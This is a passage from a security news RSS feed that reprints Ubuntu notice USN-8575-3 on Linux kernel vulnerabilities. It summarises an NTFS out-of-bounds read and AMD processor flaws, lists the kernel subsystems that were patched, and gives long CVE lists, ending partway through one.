CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-3: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
